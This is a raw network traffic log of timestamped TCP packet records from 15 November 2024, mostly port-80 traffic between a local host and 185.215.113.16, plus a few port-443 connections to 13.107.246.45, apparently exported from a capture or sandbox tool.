Nov 15, 2024 19:39:34.248446941 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.248450994 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248480082 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248511076 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248528004 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.248544931 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248574018 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248593092 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.248621941 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248656034 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248670101 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.248683929 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248732090 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.248734951 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248785019 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248816967 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248836994 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.248866081 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248898983 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248925924 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.248949051 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248980999 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249001026 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.249015093 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249062061 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249063015 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.249109983 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249141932 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249165058 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.249174118 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249206066 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249224901 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.249253035 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249281883 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249314070 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249325991 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.249347925 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249368906 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.249378920 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249414921 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249434948 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.249449015 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249480963 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249496937 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.249512911 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249545097 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249557972 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.249573946 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249620914 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.249623060 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249674082 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249706984 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249721050 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.249758959 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249793053 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249804974 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.249842882 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249888897 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.249891996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249931097 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.249973059 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.249994040 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250045061 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250092983 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250099897 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.250125885 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250170946 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.250186920 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250241995 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250272989 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250288963 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.250305891 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250351906 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.250355005 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250386953 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250417948 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250432014 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.250453949 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250485897 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250492096 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.250535011 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250580072 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.250582933 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250650883 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250684023 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250694036 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.250716925 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250763893 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.250777006 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250811100 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250843048 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250859022 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.250878096 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250956059 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.250957012 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.250987053 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251002073 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251017094 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251030922 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251032114 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251045942 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251060963 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251068115 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251074076 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251081944 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251087904 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251094103 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251111031 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251115084 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251127958 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251142025 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251142979 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251157045 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251171112 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251183033 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251185894 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251200914 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251209974 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251219988 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251231909 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251235008 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251260042 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251292944 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251307964 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251332998 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251332998 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251349926 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251363993 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251370907 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251377106 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251391888 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251403093 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251405954 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251429081 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251430035 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251444101 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251457930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251471043 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251471996 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251486063 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251497984 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251502991 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251518011 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251532078 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251538992 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251544952 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.251559019 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.251588106 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.262409925 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.281658888 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.281723022 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.281758070 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.281794071 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.281816006 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.281850100 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.281869888 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.281886101 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.281920910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.281943083 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.281955004 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.281987906 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.282011986 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.282022953 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.282094002 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.283098936 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.283153057 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.283186913 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.283205986 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.283427000 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.283462048 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.283490896 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.288223028 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.295126915 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.295295000 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.295437098 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.317962885 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.317976952 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.319108009 CET	49810	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.319112062 CET	443	49810	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.320034027 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.320056915 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.320070982 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.320077896 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.330265045 CET	49814	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.330302000 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.330365896 CET	49814	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.332178116 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.371433973 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371464968 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371526957 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371540070 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371541977 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.371551037 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371563911 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371583939 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.371609926 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371614933 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.371630907 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371644020 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371653080 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371670008 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.371694088 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.371813059 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371824980 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371834993 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371845961 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371856928 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371860027 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.371869087 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371880054 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.371902943 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.371933937 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.372031927 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372042894 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372052908 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372062922 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372073889 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372090101 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.372124910 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.372124910 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.372174978 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372185946 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372212887 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372221947 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.372225046 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372235060 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372243881 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372268915 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.372298956 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.372431993 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372443914 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372454882 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372466087 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372476101 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372487068 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372502089 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.372530937 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.372570038 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372580051 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372589111 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372601032 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372618914 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.372643948 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372656107 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372658968 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.372667074 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372678995 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372689009 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372699022 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.372730017 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.372910976 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372920990 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372930050 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372941971 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372951984 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372960091 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.372963905 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.372981071 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373009920 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373083115 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373095036 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373105049 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373130083 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373158932 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373203993 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373214006 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373224020 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373235941 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373248100 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373250961 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373295069 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373339891 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373349905 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373367071 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373378992 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373385906 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373388052 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373399019 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373409986 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373420000 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373428106 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373428106 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373430967 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373452902 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373466969 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373605967 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373616934 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373626947 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373687983 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373718023 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373728991 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373739004 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373761892 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373790979 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373840094 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373852015 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373862982 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373874903 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373886108 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373898029 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373898983 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.373925924 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.373955011 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.374080896 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374093056 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374104023 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374114990 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374139071 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.374166012 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.374223948 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374236107 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374245882 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374274969 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.374277115 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374321938 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.374432087 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374443054 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374453068 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374463081 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374475002 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374481916 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.374484062 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374495983 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374501944 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374512911 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374531984 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374532938 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.374558926 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.374588966 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.374737024 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374748945 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374753952 CET	49814	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.374778032 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.374789000 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.374800920 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374813080 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374821901 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374826908 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374830961 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.374835014 CET	80	49802	185.215.113.16	192.168.2.7
